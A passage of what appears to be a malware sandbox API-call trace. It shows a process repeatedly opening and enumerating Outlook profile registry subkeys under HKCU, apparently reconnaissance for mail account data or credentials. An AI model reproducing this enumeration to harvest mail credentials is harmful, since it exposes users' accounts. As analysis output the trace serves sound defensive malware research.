returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0056.975] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned 88 [0056.975] lstrlenA (lpString="") returned 0 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.975] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0056.975] LocalFree (hMem=0x2fc080) returned 0x0 [0056.975] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.975] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.975] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.975] LocalFree (hMem=0x2fc320) returned 0x0 [0056.975] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x3, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="4c81aa8e3cec3747ac89336bb7dabb3d", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.975] lstrlenA (lpString="\\") returned 1 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.975] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.975] lstrlenA (lpString="4c81aa8e3cec3747ac89336bb7dabb3d") returned 32 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.975] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="4c81aa8e3cec3747ac89336bb7dabb3d" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0056.976] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned 88 [0056.976] lstrlenA (lpString="") returned 0 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.976] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0056.976] LocalFree (hMem=0x2fc080) returned 0x0 [0056.976] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.976] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.976] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.976] LocalFree (hMem=0x2fc320) returned 0x0 [0056.976] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x4, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="660d890c36162745aa4a6e18387402e2", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.976] lstrlenA (lpString="\\") returned 1 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.976] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.976] lstrlenA (lpString="660d890c36162745aa4a6e18387402e2") returned 32 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.976] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="660d890c36162745aa4a6e18387402e2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0056.976] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned 88 [0056.976] lstrlenA (lpString="") returned 0 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.976] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0056.976] LocalFree (hMem=0x2fc080) returned 0x0 [0056.976] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.976] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.976] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.976] LocalFree (hMem=0x2fc320) returned 0x0 [0056.976] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x5, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8503020000000000c000000000000046", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.976] lstrlenA (lpString="\\") returned 1 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.976] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.976] lstrlenA (lpString="8503020000000000c000000000000046") returned 32 [0056.976] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.976] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.976] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0056.976] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.976] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned 88 [0056.977] lstrlenA (lpString="") returned 0 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.977] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0056.977] LocalFree (hMem=0x2fc080) returned 0x0 [0056.977] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.977] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.977] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.977] LocalFree (hMem=0x2fc320) returned 0x0 [0056.977] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x6, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8ad20125b268ee4082a7beb234d21c3e", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.977] lstrlenA (lpString="\\") returned 1 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.977] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.977] lstrlenA (lpString="8ad20125b268ee4082a7beb234d21c3e") returned 32 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.977] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="8ad20125b268ee4082a7beb234d21c3e" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0056.977] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned 88 [0056.977] lstrlenA (lpString="") returned 0 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.977] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0056.977] LocalFree (hMem=0x2fc080) returned 0x0 [0056.977] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.977] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.977] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.977] LocalFree (hMem=0x2fc320) returned 0x0 [0056.977] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x7, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="91cde86748046c41886c2f5227df24b7", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.977] lstrlenA (lpString="\\") returned 1 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.977] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.977] lstrlenA (lpString="91cde86748046c41886c2f5227df24b7") returned 32 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.977] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.977] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="91cde86748046c41886c2f5227df24b7" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0056.977] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.977] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned 88 [0056.977] lstrlenA (lpString="") returned 0 [0056.977] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.977] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0056.978] LocalFree (hMem=0x2fc080) returned 0x0 [0056.978] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.978] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.978] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.978] LocalFree (hMem=0x2fc320) returned 0x0 [0056.978] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x8, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.978] lstrlenA (lpString="\\") returned 1 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.978] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.978] lstrlenA (lpString="9207f3e0a3b11019908b08002b2a56c2") returned 32 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.978] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0056.978] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned 88 [0056.978] lstrlenA (lpString="") returned 0 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.978] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0056.978] LocalFree (hMem=0x2fc080) returned 0x0 [0056.978] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.978] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.978] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.978] LocalFree (hMem=0x2fc320) returned 0x0 [0056.978] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x9, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.978] lstrlenA (lpString="\\") returned 1 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.978] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.978] lstrlenA (lpString="9375CFF0413111d3B88A00104B2A6676") returned 32 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.978] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: 